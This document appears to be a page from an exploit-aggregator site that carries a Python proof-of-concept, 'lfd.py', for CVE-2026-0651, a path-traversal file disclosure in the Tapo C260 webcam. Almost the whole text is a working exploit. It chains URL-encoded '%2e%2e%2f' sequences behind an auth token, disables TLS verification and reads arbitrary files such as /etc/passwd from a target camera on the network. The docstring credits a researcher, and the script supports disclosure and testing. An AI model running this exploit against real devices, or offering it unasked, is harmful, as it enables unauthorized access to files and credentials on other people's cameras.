5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / lfd.py PY
#!/usr/bin/env python3
"""
Tapo C260 Local File Disclosure — CVE-2026-0651

The camera's HTTP GET handler concatenates user-supplied paths onto /www
without sanitizing path traversal sequences. URL-encoding ../ as %2e%2e%2f
bypasses any naive string checks, and the only function between path
construction and stat()/open() is a URL decoder.

Requires local network access and a valid stok auth token (guest-level works).

Research by Eugene Lim (@spaceraccoon):
https://spaceraccoon.dev/getting-shell-tapo-c260-webcam/
"""

import argparse
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TRAVERSAL_PREFIX = "%2e%2e%2f"
TRAVERSAL_DEPTH = 5


def read_file(host: str, token: str, filepath: str, depth: int = TRAVERSAL_DEPTH) -> str | None:
    traversal = TRAVERSAL_PREFIX * depth
    encoded_path = filepath.lstrip("/").replace("/", "%2f")
    url = f"https://{host}/stok={token}/{traversal}{encoded_path}"

    try:
        r = requests.get(url, verify=False, timeout=10)
        if r.status_code == 200 and r.text:
            return r.text
        return None
    except requests.RequestException as e:
        print(f"[-] Request failed: {e}", file=sys.stderr)
        return None


def main():
    parser = argparse.ArgumentParser(
        description="Tapo C260 LFD — read arbitrary files via path traversal (CVE-2026-0651)"
    )
    parser.add_argument("--host", required=True, help="Camera IP address")
    parser.add_argument("--token", required=True, help="stok auth token")
    parser.add_argument("--file", required=True, help="Absolute path to read (e.g. /etc/passwd)")
    parser.add_argument("--depth", type=int, default=TRAVERSAL_DEPTH, help="Traversal depth (default: 5)")
    parser.add_argument("-o", "--output", help="Write output to file instead of stdout")

    args = parser.parse_args()

    print(f"[*] Reading {args.file} from {args.host}...", file=sys.stderr)
    content = read_file(args.host, args.token, args.file, args.depth)

    if content is None:
        print("[-] No content returned — file may not exist or token is invalid", file=sys.stderr)
        sys.exit(1)

    if args.output:
        with open(args.output, "w") as f:
            f.write(content)
        print(f"[+] Written to {args.output}", file=sys.stderr)
    else:
        print(content)


if __name__ == "__main__":
    main()